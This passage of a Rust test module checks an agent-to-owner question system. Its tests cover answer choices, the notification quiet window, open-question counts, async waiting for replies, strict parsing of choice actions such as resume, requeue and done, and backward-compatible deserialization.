2674 assert_eq!(q.choices, ["SQLite"]);
2675 assert!(
2676 !q.waiting_on_agent(),
2677 "the agent spoke, so the owner is the one being waited on now"
2678 );
2679 assert_eq!(q.thread.len(), 2);
2680 assert_eq!(q.thread[1].who, Who::Agent);
2681
2682 // The new choice set is what a subsequent answer is checked against.
2683 assert!(q.answer(Answer::Choice("Redis".to_owned())).is_err());
2684 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2685 assert_eq!(q.resolution().as_deref(), Some("SQLite"));
2686 }
2687
2688 #[test]
2689 fn notification_fires_for_the_first_ask_and_only_after_the_quiet_window_on_a_reply() {
2690 let mut fresh = choice_question();
2691 assert!(
2692 fresh.should_notify(Timestamp::now()),
2693 "nobody has been notified yet, so the first ask always pages"
2694 );
2695
2696 fresh.say("why not Postgres?").unwrap();
2697 let just_said = fresh.thread[0].at;
2698 assert!(
2699 !fresh.should_notify(just_said + jiff::SignedDuration::from_secs(60)),
2700 "still on the screen a minute later; no need to page again"
2701 );
2702 assert!(
2703 !fresh.should_notify(just_said + jiff::SignedDuration::from_secs(300)),
2704 "exactly the window: `>` means this side stays quiet"
2705 );
2706 assert!(
2707 fresh.should_notify(just_said + jiff::SignedDuration::from_secs(301)),
2708 "past the window: they may have walked away"
2709 );
2710 }
2711
2712 #[test]
2713 fn a_round_trip_of_turns_still_counts_as_one_open_question() {
2714 let (_dir, s) = store();
2715 let mut q = choice_question();
2716 s.put(&mut q).unwrap();
2717 q.say("why not Postgres?").unwrap();
2718 s.put(&mut q).unwrap();
2719 q.reply("no server to run", vec!["SQLite".to_owned()])
2720 .unwrap();
2721 s.put(&mut q).unwrap();
2722
2723 assert_eq!(
2724 s.count_open(),
2725 1,
2726 "one question that talked twice is still one open question"
2727 );
2728 assert_eq!(s.open_for(&q.run).len(), 1);
2729 }
2730
2731 #[tokio::test]
2732 async fn the_wait_returns_to_the_caller_when_the_owner_talks_back_without_deciding() {
2733 let (dir, s) = store();
2734 let mut q = choice_question();
2735 let id = q.id.clone();
2736 let writer = Questions::at(dir.path().join("questions"));
2737 let handle = tokio::spawn(async move {
2738 tokio::time::sleep(Duration::from_millis(30)).await;
2739 let mut fresh = writer.get(&id).expect("the question was filed first");
2740 fresh.say("why not Postgres?").unwrap();
2741 writer.put(&mut fresh).unwrap();
2742 });
2743
2744 let got = wait_for_owner(
2745 &mut q,
2746 &s,
2747 &quiet(),
2748 Duration::from_secs(5),
2749 Duration::from_millis(10),
2750 )
2751 .await
2752 .unwrap();
2753
2754 handle.await.unwrap();
2755 assert_eq!(got, Wait::Replied("why not Postgres?".to_owned()));
2756 assert_eq!(
2757 q.status,
2758 QuestionStatus::Open,
2759 "talking back is not a decision; the question stays open"
2760 );
2761 assert!(q.answer.is_none());
2762 }
2763
2764 #[test]
2765 fn a_say_that_lands_before_the_agents_reply_stays_unread() {
2766 let mut q = choice_question();
2767 q.say("A").unwrap();
2768 q.delivered_turns = q.thread.len();
2769 q.say("B").unwrap();
2770 q.reply("about A", vec![]).unwrap();
2771 assert_eq!(q.unread_from_owner().as_deref(), Some("B"));
2772 q.delivered_turns = q.thread.len();
2773 assert_eq!(q.unread_from_owner(), None);
2774 }
2775
2776 #[test]
2777 fn action_specs_parse_strictly_and_must_name_an_offered_choice() {
2778 let choices = vec!["resume で続行する".to_owned(), "wait".to_owned()];
2779 let ok = parse_actions(
2780 &[
2781 "resume で続行する=resume".to_owned(),
2782 "wait=done".to_owned(),
2783 ],
2784 &choices,
2785 "run-1",
2786 )
2787 .unwrap();
2788 assert_eq!(
2789 ok["resume で続行する"],
2790 ChoiceAction::Resume {
2791 run: "run-1".into()
2792 }
2793 );
2794 assert_eq!(ok["wait"], ChoiceAction::Done);
2795
2796 let named = ChoiceAction::parse("x=resume:abcd", "").unwrap();
2797 assert_eq!(named.1, ChoiceAction::Resume { run: "abcd".into() });
2798 assert_eq!(
2799 ChoiceAction::parse("x=requeue", "").unwrap().1,
2800 ChoiceAction::Requeue
2801 );
2802
2803 for bad in [
2804 "no-equals",
2805 "=done",
2806 "x=resume",
2807 "x=resume:",
2808 "x=explode",
2809 "x=done:1",
2810 ] {
2811 assert!(ChoiceAction::parse(bad, "").is_err(), "{bad}");
2812 }
2813 assert!(parse_actions(&["ghost=done".to_owned()], &choices, "").is_err());
2814 assert!(
2815 parse_actions(
2816 &["wait=done".to_owned(), "wait=requeue".to_owned()],
2817 &choices,
2818 ""
2819 )
2820 .is_err()
2821 );
2822 }
2823
2824 #[test]
2825 fn only_a_chosen_label_with_an_action_is_actionable() {
2826 let mut q = choice_question();
2827 q.choices = vec!["resume".to_owned(), "SQLite".to_owned()];
2828 q.actions.insert("SQLite".to_owned(), ChoiceAction::Requeue);
2829 assert!(q.chosen_action().is_none(), "unanswered");
2830 q.answer(Answer::Choice("resume".to_owned())).unwrap();
2831 assert!(
2832 q.chosen_action().is_none(),
2833 "a label that merely reads like an action does nothing"
2834 );
2835
2836 let mut q2 = choice_question();
2837 q2.choices = vec!["SQLite".to_owned()];
2838 q2.actions
2839 .insert("SQLite".to_owned(), ChoiceAction::Requeue);
2840 q2.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2841 assert_eq!(q2.chosen_action(), Some(&ChoiceAction::Requeue));
2842 }
2843
2844 #[test]
2845 fn a_reply_drops_actions_whose_choice_is_gone_and_old_files_read_without_actions() {
2846 let mut q = choice_question();
2847 q.choices = vec!["A".to_owned(), "B".to_owned()];
2848 q.actions.insert("A".to_owned(), ChoiceAction::Done);
2849 q.actions.insert("B".to_owned(), ChoiceAction::Requeue);
2850 q.reply("narrowing", vec!["B".to_owned()]).unwrap();
2851 assert_eq!(q.actions.len(), 1);
2852 assert!(q.actions.contains_key("B"));
2853
2854 let mut v = serde_json::to_value(&q).unwrap();
2855 v.as_object_mut().unwrap().remove("actions");
2856 let old: Question = serde_json::from_value(v).unwrap();
2857 assert!(old.actions.is_empty());
2858 }
2859}